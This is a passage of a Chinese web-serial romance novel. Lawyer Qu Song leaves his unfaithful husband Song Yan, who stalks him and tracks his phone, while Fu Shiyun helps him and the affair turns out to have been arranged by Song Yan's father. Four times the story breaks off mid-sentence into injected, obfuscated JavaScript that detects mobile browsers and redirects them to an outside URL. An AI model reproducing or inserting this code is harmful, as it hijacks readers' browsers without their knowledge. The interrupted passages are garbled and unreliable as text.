曲颂看着电梯门上映着的傅识云的身影,修长挺拔,宽肩窄腰,满满的安全感。最近这段时间他们的接触渐渐多了起来,关系也早就超越了普通合伙人,至于到没到朋友这一层,在曲颂这里是到了的。 尤其是那天他不顾两家的世交关系,打了宋琰替自己出气,说一点触动没有纯属违心。 “房子我还得借住一段时间。” “没问题,住多久都可以。” 傅识云开车驶出小区门口时,曲颂忽然想起个事:“你怎么进来的?” “是上次执勤的门卫大哥,我说找你,他就放我进来了。说你之前帮过他,你认识的人肯定也不错。” 曲颂笑了笑,没再说话。 车子平稳行驶在路上,傅识云时不时看一眼后视镜,等到了车流没那么密集的路段后,笃定开口:“有辆黑车在跟着我们。” 曲颂看了眼后视镜:“宋琰的车。”烦躁地皱了皱眉,“我不想让他知道我住在哪儿。” 宋琰的性子曲颂了解,但凡他知道了,就会一直守在外面,直到把你逼出来为止,又或者不管不顾地敲门……总之就是不达目的不罢休。 “我有办法。”傅识云在前面的路口左转,饶了一大圈后,来到了一家酒店,车子没进地库,就停在了酒店门口。在曲颂疑惑的目光中,傅识云解释道:“我已经让司机来接了,先上去等会儿,其他地方不太好躲。” 进了酒店,傅识云拿身份证定了个房间,而后和曲颂一起进了电梯。两人前脚刚进房间,曲颂的手机就响了,不用看都知道是谁,按下接通:“该说的话我都说了,宋琰,咱俩能断的体面点吗?” “不能!!”宋琰暴躁又破防的声音顺着手机钻了出来,“你为什么要和傅识云去酒店?!你俩开房了是吧?不许让他碰你听到没有!告诉我在哪个房间,我现在就过去!” 曲颂气的直接挂断电话,将手机关机。 听了全程的傅识云一针见血:“跟没长大的孩子似的。” 曲颂笑而不语,和宋琰朝夕相处了八年,自然没人比他更清楚这一点。 宋琰的不成熟体现在生活中的方方面面,开始曲颂觉得他年纪小,所以处处包容。后来随着时间慢慢推移,宋琰仍是老样子,曲颂依旧选择了迁就。人无完人,既然选择了他,就要接受他的一切。他自己也不是百分百完美的。 直到年初的时候,两人因为一点小事吵架,曲颂被赶去了客房。晚上失眠,曲颂开始反思这段关系,终于意识到这样下去不行。他无法单方面包容、迁就宋琰一辈子,如果想长长久久在一起,宋琰也必须做出改变,于是便有了第一次冷战。 曲颂本以为经历了磨合期的阵痛后,他们的感情会更加坚固。没想到在不知不觉间,这段感情早已成了他一个人的独角戏。 “都不重要了。”曲颂耸了耸肩,笑得洒脱,“往后他的一切都与我无关。” 十几分钟后,傅识云开口:“司机到楼下了,你走员工通道,从酒店后门出去,我跟酒店经理打过招呼了。回去好好休息。” “你呢?” 傅识云笑道:“我当然也回家了。” 等曲颂离开,傅识云也准备下楼退房。走到电梯口,电梯恰好停在这个楼层,傅识云往后退了两步,松了松领带,做好打架的准备。 下一秒,宋琰怒火中烧从电梯里冲出来。 对此傅识云并不意外,宋琰也不是什么简单人物,动用关系查到入住信息易如反掌。 宋琰一把揪住傅识云的衬衣,傅识云顺从地被按在楼道墙上,好整以暇地看着他。 “曲颂人呢?他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809283|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪?!你们都做了什么?!” “别把所有人想的和你一样龌龊,我们什么都没发生。他已经走了,为了躲你特意走的员工通道,满意了吗?”傅识云不会让曲颂平白背上出轨的污点,毕竟现在还没离婚,传出去对他影响不好。 “我龌龊?”宋琰冷笑一声,“那你又高尚在哪?别以为我看不出来你喜欢他!喜欢别人的老婆,你还要脸吗?!” “我喜欢的从来都是曲颂这个人,而非他已婚的身份。他已婚这件事并不能给我带来刺激感……”傅识云抬手挥开宋琰的手,“只会让我遗憾自己出场太晚。” 傅识云凑近了,周身散发出凌人的威势,挑衅道:“如果我能早点遇到他,如果我和你站在同一跑线上,你丁点赢我的可能都没有!” “可惜你永远没这个机会!”宋琰不甘示弱,骄傲又得意,“我就是比你早遇到他!他就是先爱上了我!选择了我!老天爷都站在我这边!” “以前或许没有,但现在有了。”傅识云笑容凉薄,字字诛心,“你现在之所以这么慌,就是知道他一定不要你了。冒着失去他的风险也要与别人春风一度,宋琰,说到底我应该谢谢你。谢谢你给了我拥有他的机会。” “你他妈放屁!”宋琰破口大骂,“我告诉你傅识云,就算是绑我也要把他绑在我身边!谁都别想从我身边抢走他!天王老子来了都不行!” “那就试试看吧,反正我不会输。”傅识云眼里是志在必得。 “少他妈做梦了!我们有八年的感情,还是彼此的初恋,你拿什么赢!” “的确,你唯一赢过我地方的就是他的爱,只可惜现在这份爱已经不属于你了。”傅识云看着宋琰,笑容冷漠而讽刺,“奉劝你早点签字,这样还能给他留个好印象。你没发现他现在躲你像躲瘟疫一样吗?” 被刺激到彻底失去理智的宋琰怒吼一声,抡起拳头发了狠朝傅识云挥去。傅识云闪身躲开,迅速给了宋琰肚子一拳。 “别跟条疯狗一样见人就咬,他惯着你,我可不会。”扔下这句话,傅识云转身头也不回地离开。 19.原谅 车子停在别墅前,司机递上自己的名片:“这是我的名片,您用车就给我打电话。” 曲颂愣了下,忙不迭拒绝:“这不合适。”对方是傅识云的司机,怎么能给他开车。 “是傅总的意思。”司机解释道,“我是退伍军人,又学过散打。傅总说您最近被坏人盯上了,让我保护您。” “原来是这样。”曲颂笑着接过名片看了眼,“那我就叫您张大哥了。我叫曲颂,是名律师,不介意的话叫我曲律师就好。” “好的曲律师,我手机二十四小时开机,随叫随到。方便加个微信吗?” “当然可以。”加上微信,曲颂和对方道谢后开门下车。 进了别墅,曲颂先去后院给菜地浇水,然后进厨房煮了碗面,吃完又去书房看书,总之一时一刻都没让自己闲下来。一直到晚上十点多,曲颂才将手机开机。 二十多通未接来电均来自一个人,微信消息更是多的数不过来。曲颂连手机号带微信全部拉黑,眼不见为净。 夜里,曲颂被电话声吵醒,迷迷糊糊拿起手机,刺目的屏幕光让他不适地眯了眯眼睛。来电显示是一串手机号码,曲颂只用一秒就猜出了号码的主人,果断挂断拉黑,而后又将手机调成静音。 曲颂有入睡困难的毛病,被吵醒之后再睡更是如此。没等他完全睡熟,听到了门铃声。这么晚了能是谁?曲颂满心疑惑地下楼,走到门口看了眼可视门铃,瞬间愣在原地。 宋琰站在门外不停按铃,门两侧的声控灯光打在他身上,照亮了他的五官,表情疯狂偏执。入户门外还有一道院门,连接着两米高的围墙,他竟然就这样神不知鬼不觉地进来了。 他是怎么知道自己住在这里的?不是已经成功躲开了吗?曲颂整个人有点懵。 “我知道你在里面,我通过手机定位查到了你的位置。开门我们好好谈谈,我有好多话想和你说。”宋琰的声音被厚重的防盗门滤掉一层,显得没那么真切。 曲颂如坠冰窟,他完全没想到宋琰连非法定位的事都做,而自己竟然也轻而易举就落入了他的圈套。 这还是他认识的那个宋琰吗? “咚咚咚!”门外的人开始砸门,一次比一次用力,明显已经没有多少耐心了:“我看到灯亮了,你在门口对不对?开门!” 曲颂被砸门声吓了一跳,本能地抱住了肩膀。 没过一会儿,砸门声突然消失了。正当曲颂怀疑他是不是走了时,宋琰出现在了客厅落地窗前,身体紧紧贴住玻璃,奋力往玄关的方向看,眼睛发亮:“我看到你了曲颂,给我开门,不然我就砸玻璃了!” 曲颂深吸一口气,将宋琰的手机号从黑名单中放了出来,拨号,走到落地窗前,手机举到耳边。 收到电话的宋琰连忙接通,目不转睛地看着房子里的人,放在玻璃上的手忍不住抚摸曲颂的脸颊:“给我开门,我想你了。” “不开,就这样说。”曲颂临窗而立,态度坚决,“如果你再敢弄出一点动静,我立马报警。” “好,这样说也行,都听你的。”宋琰连忙答应,像一只彻底被抛弃的小狗重新见到主人,欣喜若狂又小心翼翼。 曲颂语气淡淡的:“想说什么说吧,我给你这个机会。” “我知道错了。我保证以后什么都听你的,我什么都愿意做,你让我往东我绝不往西!”宋琰眼巴巴瞅着曲颂,祈求道,“你能原谅我这一次吗?” 驯服宋琰很简单,只需彻底抛弃他。然而对曲颂来说,只要宋琰没有犯下不可挽回的错误,他就永远不会抛弃他。 所以这是一个解无可解的死局。 “我跟你说过我爸妈为什么离婚吗?”曲颂问。 宋琰摇头。 “我也记得没说过,因为我爸出轨。”曲颂语气平静,见宋琰要开口,“先听我说完。” 宋琰立刻闭嘴。 “你从小生长在上流圈层,想来见过不少貌合神离的婚姻,人前恩爱夫妻,人后各玩各的。所以在你眼里,出轨算不上什么大事,不过是随便玩玩,腻了就散,不影响婚姻。但我和你不一样……” 曲颂深吸了口气,强压住胸腔里的酸涩,继续道:“我出生在小县城,家境普通。我爸当年出轨,他不想要我,又拿我的抚养权逼我妈净身出户。一个没读过什么书的女人,没有固定工作,带着一个七岁的拖油瓶,日子可想而知有多难过。” “我妈为了我吃了很多苦,受了很多欺凌和白眼。我也一样,在学校里被同学嘲笑议论。而这一切的罪魁祸首都是那个为了一己私欲背叛家庭的男人。我深深厌恶着每一个出轨的人,它是刻在我心灵深处的伤口。所以我打的最多的就是因为出轨而离婚的官司,如果按照心理学上说的,就是“不幸的童年需要一生治愈”。” 听到这些的宋琰脸色比纸还白,嘴里不停地呢喃:“我不知道,我不知道……” “记得你刚追我那会儿,我告诉过你自己是不婚主义。因为在我眼里婚姻不过是用沙子筑成的城堡,幸运点的能撑到最后,大多数在中途就散了。是你用爱给了我走入婚姻的勇气,当然……”曲颂笑了笑,“也是你给了我致命一击。” 窗外的宋琰已经满脸泪水。这一刻,他终于感觉到了深深的悔恨。像个无助的孩子泪眼朦胧地看着曲颂:“到底要怎么做你才肯原谅我?只要你说,我一定做到。” “你不必做什么,我原谅你了。” 曲颂原谅的不止是眼前的宋琰,还有那个奋不顾身替他挡刀的宋琰、真真切切深爱过他的宋琰。 所有的好与坏、泪与笑、得与失,都在他自我剖白后得到释怀。 让花成花,让树成树。 看着神色淡然的曲颂,宋琰脸上的欢喜渐渐淡了下去。他狼狈地抹了把眼泪,大声吼叫:“说来说去你还是要离开我!” “我原谅你和离开你并不冲突,这是两码事。” “我就不!”宋琰那股子疯劲又上来了,开始用力拍打玻璃,“你把门打开,让我进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817494|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。我想抱抱你。” 这种情况曲颂会开门就有鬼了:“不可能。很晚了,我累了,你也回去吧。” 说完,曲颂直接拉上窗帘,挂断了电话,抬脚往二楼卧室走去。 这一次宋琰没再不停打电话也没敲门,曲颂还以为他走了,次日一早,给张大哥打电话让他来接自己:“方便的话再帮我带份早餐吧。” “好的,曲律师喜欢吃中式的还是西式的?” “中式,包子豆浆油条什么的都可以。”挂掉电话,曲颂给张大哥转了钱。对方立马回复说太多了,曲颂让他收下,说剩下的钱就当请孩子吃零食了。 ——昨天加微信时,曲颂看到了对方一家三口的手机屏保,孩子是个很可爱的小姑娘,掉了两颗大门牙。 四十多分钟后,曲颂收到了张大哥的消息:【曲律师,别墅门口怎么有个人啊,需不需要我把他赶走?】 曲颂愣了几秒,快走到可视门铃前。宋琰应该是缩在了角落里,只能在屏幕左下角看到他屈起的双腿。 曲颂不想连累对方,回了句:【不用,在车里等我就行,我马上出去。】 听到开门声,在外面守了一夜的宋琰连忙站起来,双眼布满了血丝,满脸欣喜:“你终于肯见我了!” 说着就要抬手碰他。 曲颂后退一步拉开距离:“不是见你,我要出去。” 宋琰瞬间变了脸:“你为什么就是不肯原谅我!我不是说我知道错了吗?!” “宋琰,你现在苦苦相逼,真的是因为爱我舍不得我吗?”曲颂语气平静地问。 宋琰斩钉截铁:“当然了!不然还能是因为什么!” 曲颂轻笑着摇了摇头:“你要风得风要雨得雨惯了,一旦有人和事不遂你的心意,你就接受不了,想方设法都要如你的愿。与其说你在求我原谅,倒不如你在逼我原谅你。” 宋琰连声否认:“我没有逼你,我是没办法了!” 曲颂不为所动:“如果我知道你出轨后不是现在的态度,而是患得患失,整日担心你离我而去,低声下气求你回心转意,那么毫不犹豫离婚的人就是你了。” 他太了解面前的男人了,凡事只许他不许别人。 “承认吧宋琰,你只是不甘心事情没按照你的意愿发展而已。你笃定我离不开你,却没想到我离开的这么干脆。归根结底,你爱的不过是你自己而已。” 听完这些话的宋琰仿佛受了天大的委屈:“你怎么能这么说我!难道你忘了是谁替你挡刀差点没了命?是我!这不是爱是什么!” “我没忘。我没忘记过去的美好,但我不会用过去困住现在的自己。感情上是不能功过相抵的。” 曲颂缓缓吐出口气:“宋琰,事事不会尽如你意。你一直在拥有,所以接受不了失去,但“失去”这堂课是每个人都必须学会的。我还有事,别再跟着我了,离婚协议早点签。” 说完,曲颂与宋琰擦肩而过,大步朝门口走去,步伐坚定而坦然。 20.祝愿 曲颂去见了宋远山。一个星期前,宋远山打电话说要见他,当时曲颂还没完全调整过来,拒绝了。昨天对方第二次提出,曲颂答应了赴约。 见面地点是宋远山选的,一家中餐厅。曲颂到时才上午九点多,不晌不午请人吃饭,可见没多用心。 有意也好无意也罢,曲颂并未当回事,跟在服务员身后到了包厢门口,推门进去,坐到宋远山对面:“难得您日理万机还有时间见我,真是受宠若惊。” “你俩的事我知道了。说吧,什么条件你才愿意离婚?”宋远山一副笃定了曲颂贪慕宋家钱财不肯离婚的架势,明明之前觉得曲颂眼里揉不得沙子的人也是他。 曲颂忍住发笑的冲动:“宋琰说的?”心里随之涌上一个猜测,“还是说您早知道会有这么一天?” 宋远山不答反问:“知道当初我为什么不反对你们结婚吗?” “洗耳恭听。” “小琰是我儿子,没人比我更了解他,想要什么就一定得到,越拦着越起劲儿。说到底也是让我跟他妈惯坏了,但我就这么一个儿子,他就算把天捅个窟窿我也给他兜着。” 宋远山侃侃而谈,丝毫没注意到包厢门打开了一条小缝:“我不阻止你们结婚,一来是不想伤了父子感情,二来是我知道小琰不会喜欢你太久。你和他小时候的那些玩具没什么不同,喜欢的时候稀罕的不得了,热乎劲儿一过看都不看一眼,到最后全扔了。” 听着对方把自己比成玩具,曲颂唇角泛起一抹冷笑,出言嘲讽:“如果宋琰真如您所说,心智如此极端不成熟,这只能从侧面证明您的失败,没有给他树立好的榜样。” “那又如何?”宋远山不以为意,高高在上,“他出生的起点已经是你这辈子遥不可及的了,能让他玩玩是你的荣幸!” “荣不荣幸不知道,只是他现在对我百般纠缠,着实让我非常困扰。要不宋总劝劝他,让他早点在离婚协议上签字呢?” 看着明显愣住的宋远山,曲颂心里感到一阵快意:“忘了告诉您,不肯离婚的是您儿子,不是我。” 宋远山冷着脸不说话。 “另外既然来了就多嘴问一句。”曲颂将心里的猜测说了出来,“林畔是您安排的吧?” 和林畔见面时曲颂就有种说不出来的怪异感——林畔没有丝毫的得意与傲慢,对他也没有任何歉意,这完全不像一个成功插足的人该有的表现。再结合今天宋远山的反应,一切似乎都很好猜透了。 “是又如何?” “不如何,就是觉得宋琰挺可怜的,被自己的亲爸算计。”曲颂气定神闲,“不过他倒也没让您失望,也算是尽孝了。” 下一秒,包厢门被猛地推开,宋琰冲了进来,怒不可遏地冲着宋远山大吼:“是您让林畔来勾引我的?您为什么要这么做?为什么?!” “你说为什么?!我这么做还不是为了你!我都和你爷爷商量好了,只要你有了孩子,我把手里的股份给你,你爷爷的给孩子,这样一来长恒就完全是你说了算了。” 宋远山恨铁不成钢:“结果你可倒好,和男人过上日子了!” 听到这话,宋琰愤怒的脸上浮上一丝迟疑:“孩子的事我可以另想办法!” “能有什么办法?唯一的办法就是你找个门当户对的女人结婚,名正言顺生下宋家的曾长孙,只有这样家里的那帮亲戚才不敢闹!”宋远山恨不得把宋琰的脑子掏出来洗洗,“我和你爷爷还有你妈为了你煞费苦心,你到底明不明白啊!” 这就是宋琰,天之骄子,生来便得到所有人的偏爱。只要他想,连许多人勾心斗角、抢破脑袋的百年企业都唾手可得。 这一瞬间曲颂忽然意识到,爱情是宋琰最容易舍弃的东西。哪怕没有出轨,他们也注定会走散,只是不会像这般狼藉罢了。 曲颂起身离开包厢,身后传来急促的脚步声,宋琰抓住曲颂的手腕不让他走,语气急切:“你听到了,一切都是我爸安排的!” “宋琰,其实你是知道的对吧?起码不是毫无所觉。”曲颂看着面前的男人,突然想明白了什么,“你知道林畔接近你别有目的,于是选择了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827993|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺水推舟。我不相信以你的条件,这么多年一个向你示好的人也没有,怎么就偏偏选择了他呢?” “除了厌倦了婚姻想寻求刺激外,你还想通过出轨来试探我。”曲颂一针见血,“如果我能接受你出轨,也一定能接受你和其他女人生孩子。对吧。” 宋琰握着曲颂手腕的力道松了松。 寿宴那晚,宋琰送别宾客时发现林畔是一个人离开的,他嘴里的金--主并不存在,以他的条件又不可能收到请帖,如此一来,他是怎么进来的就显而易见了。加上林畔一上来就展现出了极强的目的性,宋琰确实并非毫无所觉。 促使宋琰出轨的,除了对婚姻对曲颂的厌倦、林畔的极力勾引外,还有他迫于家族压力的兵行险招。 饶了一大圈,最后还是回到了传宗接代的现实问题上。 曲颂情绪突然有点失控,为了避免被看出来,猛地甩开宋琰的手转身就走。 宋琰一个跨步拦在曲颂前面:“我可以不要孩子!真的,只要你原谅我,孩子我不要了,我们两个过一辈子。” “你出轨和想要孩子是两码事,不要混淆。”曲颂思维清晰,强忍着心里一阵阵闷痛道,“那晚上你和你妈在书房聊天我听到了,我还看见你和女生在咖啡厅见面。我心里一直没底,不知道你能不能抗住家里的压力。我希望你能,又知道这很难。” “如果你因为现实压力选择放弃,我不怪你。因为换做是我,我也不一定能抗住。我设想的我们之间最坏的结果,不过就是败给现实,桥归桥路归路。没想到你竟然用出轨来试探我,宋琰,你太侮辱人了。” 宋琰的眼圈又红了,哽咽着恳求道:“我什么都不要了,我只要你,只要你原谅我。没你我不行的,求求你别这么狠心。” “别说傻话了,你怎么可能什么都不要呢。你拥有的太多,爱情是你最不值一提的东西。你做了你的选择,我也做了我的,我们都为自己的选择负责到底吧。” 曲颂脸上的笑容释然而真诚:“宋琰,我祝你子孙满堂,得偿所愿。” 21.情敌 从餐厅出来,曲颂坐进车里。张大哥发动车子进入主路:“回别墅吗?” 曲颂疲惫地捏了捏额角,心想:回别墅有什么用,他现在就算找个老鼠洞钻进去宋琰都能把他掏出来。犹豫几秒,给傅识云发消息:【你在公司吗?】 傅识云:【在,你随时都可以过来。】 曲颂冲张大哥道:“去启跃。” 半小时后,曲颂畅通无阻地进了启跃的办公楼。从电梯出来,傅识云已经在电梯口等着了,冲曲颂笑道:“走吧,咖啡都给你泡好了。以后想来随时来,就算我不在也会有人招待你。” 曲颂笑了笑:“你都不问我来做什么?” “做什么都可以,什么都不做也可以。” “我是来你这里躲清净的。” “那你还真来对地方了。” 进了办公室,傅识云将泡好的咖啡端给曲颂,顺势坐到他身边:“宋琰是不是还在纠缠你。” 曲颂点点头:“他定位了我的手机,昨晚去了别墅,在外面守了一夜,今天又开始跟着我。我刚刚去见了宋琰他爸,原来一切都是他安排的,真是老谋深算。” 傅识云稍微一想便明白了:“那你会因为这个原谅他吗?” “当然不会。”曲颂毫不犹豫,表情比吃了苍蝇还恶心,“我现在只希望他快点签字,他和他的家人我一眼都不想再看到。” 陪曲颂坐了一会儿,傅识云继续工作。从沙发到办公桌大概七八米的距离,曲颂喝着咖啡,时不时看一眼傅识云,脑子里盘旋着一个问题,问了又觉得冒昧。 他的目光坦荡,不自在的反倒是傅识云,轻咳了声:“你看的我都不会工作了。” 曲颂连忙收回目光:“抱歉,我不看了,你继续。” “不是这意思,我感觉你好像有话要问我。想问什么就问,我一定知无不言。” 曲颂抿了抿唇,将心里的问题问了出来:“你会为了前程放弃爱情吗?” “恰恰相反,我曾经为了爱情放弃过前程。准确来说不止是前程,是放弃我所拥有的一切。”傅识云无比坦诚道。 曲颂愣了下,下意识追问:“后来呢?” “他选择了前程,我们走散了。” “那你怪他吗?” “不怪。”傅识云轻轻摇了摇头,“每个人拥有的不同,在意的不同。缺钱的人渴望钱,缺爱的人渴望爱……不能拿自己不在意的去比别人在意的,不公平,也没有意义。何况当时还有家庭方面的压力,他承担的不比我少。那时候的我不够强大,没能保护好他。” “他是你初恋吧。” 傅识云“嗯”了声。 “那如果他回来找你,你还会选择和他在一起吗?” “不会,过去了就是过去了。”傅识云语气坦然而坚定。 曲颂眼里涌上迷茫,喃喃道:“真的可以彻底忘干净吗?” 打破一段长期关系是件非常痛苦的事,越亲密越痛苦。曲颂觉得自己可能需要很长的时间来忘记和修复,没法快速投入下一段感情当中。 “为什么要忘干净呢?重要的记忆会一直在脑海里保留,甚至可以追溯到幼儿时期,就像层层叠叠的岩层,每一层岩层都是漫长岁月留下的痕迹。记忆也是如此,它是生命的痕迹。只代表过去,不参与未来。” 一番话仿若溪流潺潺流进了曲颂的心里,喝了口咖啡,由衷道:“和你聊天好舒服。” 话说到这儿,曲颂不由想起之前看到的一个理论——和优秀的人相处是能重塑三观的。他们拥有强大的精神内核,可以深深影响周围的人。 曲颂觉得傅识云就是这样的人。 傅识云笑了笑:“那是我的荣幸了。” 微信响了声,曲颂拿起来看。 许天和:【心情好点了没?要不我带你出去散散心,别闷坏了。】 曲颂:【我岂是那么容易被打倒的,早没事了。律所最近怎么样?】 许天和:【什么事没有,把心放肚子里。】 许天和嫌打字麻烦,直接发语音:“律所里有人问你去哪了,怎么一直见不到你,我说你忙着离婚呢。结果你猜怎么着,下午律所就来了俩男的,全是一米八几的大帅哥,都是冲着你来的!” “我就挨个跟他们聊了聊,一个是上次参加赵老师女儿婚礼看上你的,是赵老师带的研究生,当时就坐咱俩邻桌。另一个是我之前的委托人,我印象老深刻了,网恋被骗十几万,说那天来律所第一眼就喜欢上你了。我都不知道他们打哪儿知道的消息。” “这说明什么?只要你不在一棵歪脖子树上吊死,迎接你的将是整片森林!” 曲颂无奈道:“别忽悠我了。我又不是人民币,还能人见人爱不成。” 许天和信誓旦旦:“骗你我这辈子赚不到钱!” 将这三条语音一句不漏听完的傅识云看了眼沙发上的曲颂,身材修长匀称,长相出众,一双桃花眼看谁都是温温柔柔的,待人接物随和有礼,简直自带好感度。 宋琰还没解决掉,后面的情敌都排上队了。 “你最近要不去我家住吧。”傅识云主动出击,“别墅没法住了,酒店也不行。不过前提是你不介意家里有条小狗。” 曲颂将重点放在了最后一句:“你还养宠物啊?” “本来是我舅舅家的表妹养的,去年她出国留学养不了了,就送到了我这里,说交给别人不放心。” 曲颂好奇又兴奋的反应让傅识云知道自己赌对了,继续道:“我工作忙,请了个阿姨定时上门照顾它,一点都不认生,特别粘人。但凡我在家,它晚上都要进卧室和我一起睡。” 曲颂成功落入圈套,忍不住追问:“叫什么名字?” “叫西瓜,我手机里有照片。” 傅识云在相册里找到西瓜的照片,手机拿在手里。曲颂自然不会去抢手机,只能凑近了看,傅识云闻到了他身上好闻的香水味:“是西高地,好可爱啊。” 傅识云一边滑动照片一边继续引诱:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834563|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天下班要带它去宠物公园玩,要不要一起去?” 曲颂欣然同意:“好!” 于是,傅识云破天荒早退了,到家时还不到五点半。打开门,西瓜已经在门口守着了。 曲颂蹲在地上,试探地伸出手,嘴里发出“嘬嘬嘬”的声音。 西瓜凑近嗅了嗅曲颂的手指,而后欢快地摇起了尾巴。一人一狗轻松达成友好共识。 “累吗?要不要歇歇再去?”傅识云问。 曲颂正在撸狗,闻言头也不抬:“我都行,看你。” 傅识云眼里闪过笑意:“那我换身衣服咱们就出发。” 衣服一换就是半小时,在这半小时里,傅识云洗了澡、刮了胡子、弄了头发,精心搭配了一套衣服,最后还不忘喷了香水,从社会精英摇身一变时尚潮男。 听到开门声,正在沙发上和西瓜玩举高高的曲颂转过头,眼里闪过惊艳之色。 ——好帅一男的。 将曲颂的反应看在眼里的傅识云压住上翘的唇角:“走吧。” 傅识云开车,曲颂坐副驾驶抱着西瓜,任由它立起来舔自己的下巴:“它是不是知道要带它去玩啊,这么开心。” “知道。我每次带它出去不是去宠物店就是狗公园,这两个地方它都挺喜欢的。去医院都是阿姨带它去。” 曲颂憋笑:“你也太心机了,坏事全让阿姨干了。” “这叫分工明确。” 到了宠物公园,曲颂抱着西瓜从车上下来,傅识云拎着包,两人一起走了进去。 看着体型大小不一的狗狗们,曲颂不放心问:“直接放地上能行吗?” “没事。”傅识云从包里拿出了一个粉色飞盘,“它喜欢玩飞盘,你陪它玩会儿,拉近一下关系。” “好。”曲颂把西瓜放到草地上,拿着飞盘先几个假动作勾起西瓜的兴趣,接着往远一抛。 西瓜追着飞盘跑了出去,稳稳接住后,叼着飞盘四条腿蹦蹦跳跳往曲颂身边跑,直接给曲颂看得心都化了,一脸老父亲笑。 曲颂陪西瓜玩,傅识云站在一旁看着,乐在其中。 玩了十几分钟,西瓜开始在草坪上嗅闻。傅识云见状从包里拿出拾便袋,反套在手上,走过去动作熟练地捡起新鲜出炉的便便。 “你帮我喂它点水,我去扔了。”傅识云说着将手里的包交给曲颂,抬脚朝远处的垃圾桶走去。 曲颂领着西瓜走到长椅前,坐下打开包一看,里面全是西瓜的东西,拾便袋、宠物湿巾、梳子、狗绳、水壶、零食……甚至还带了急救药和注射器。 曲颂拿出水壶给西瓜喂水,抬手揉了揉它毛茸茸的脑袋,语气温柔:“你有一个很负责任的爸爸呢。” 细节之处见人品,曲颂一直很相信这句话。 傅识云去而复返,坐到了曲颂旁边:“今晚的日落不错。” “是啊。很美呢。” 西瓜跑去和其他小狗玩耍,夕阳洒满公园,曲颂获得了久违的心灵上的宁静。 22.短信 太阳完全落下,大地只剩余晖,玩累了的西瓜趴在傅识云和曲颂的脚边。如此养眼又温馨的一幕全部被宋琰看在眼里,手紧紧握住方向盘,眼里写满了愤怒和不甘。 宋琰一直在跟着曲颂,不再打电话、发微信,只是默默跟着。看他去了傅识云的公司,看他和傅识云上了同一辆车,又看着他们带着狗一起出门。 宋琰将自己置于一个陌生人的位置,预演着没有曲颂的情景,然后发现根本接受不了。他接受不了曲颂不再属于自己,接受不了曲颂有了新的生活,更接受不了曲颂爱上别人。 其实归根结底,不过是接受不了曲颂离开他还能过得幸福。 当然,以宋琰极度自我的性格,这种深层的自私的心理他是意识不到的,仍将这一切归结为爱。 于是打着爱的旗号,宋琰更加坚定了不离婚的决心。 另一边的两人对此全然不知,正准备带西瓜去吃晚饭。在附近选了家宠物友好餐厅,仍旧是傅识云开车,曲颂抱着西瓜坐副驾驶。 西瓜闭着眼睛趴在曲颂腿上,一副快要睡着了的样子。 傅识云:“把它放后面也行,不会闹的。” “我喜欢抱着它,一点都不沉。” 傅识云看了眼团成团的西瓜,要是没它,曲颂还真不一定同意过来住。 ——小小西瓜立大功。 饭吃到一半突然下起了雨,等吃完了雨势已经不小了。 这一片都是餐饮业,人流量大,免费车位严重紧缺。傅识云把车停在了收费的停车场,离这里有一段距离。 傅识云:“车里有伞,我去拿。” “这样你也会淋湿,我们一起出去就好了,跑一跑就到了。” “也许不会。”傅识云叫来店员,“你好,方便借店里的伞用用吗?我去车里拿伞,不会太久。” 直接拿走可能会舍不得,但借用一下还是OK的。果然,店员痛快将雨伞借给了傅识云。 傅识云道谢后走到门口撑开伞,修长挺拔的身影很快消失在夜色中。 十几分钟后,傅识云拿着三把伞进来了,借的还给店员,透明的折叠伞递给曲颂,自己留了一把黑色的:“车里只有一把伞,两个人打太小了,正好停车场附近有家超市,我又买了把新的。” 很显然,曲颂手里的是新的,吊牌还没摘。 微不足道的小事,却带给了曲颂很大的触动。他忽然觉得,傅识云这个人是要慢慢接触的。就像品茶,不仅要懂,还要有耐心。 回到家,傅识云先给西瓜擦干净脚,然后去添狗粮,照平常的量减半——西瓜路上饿了闹腾,曲颂喂了它不少零食。 “时间还早,要不要看电影?”傅识云提议。 曲颂从善如流:“好啊。” 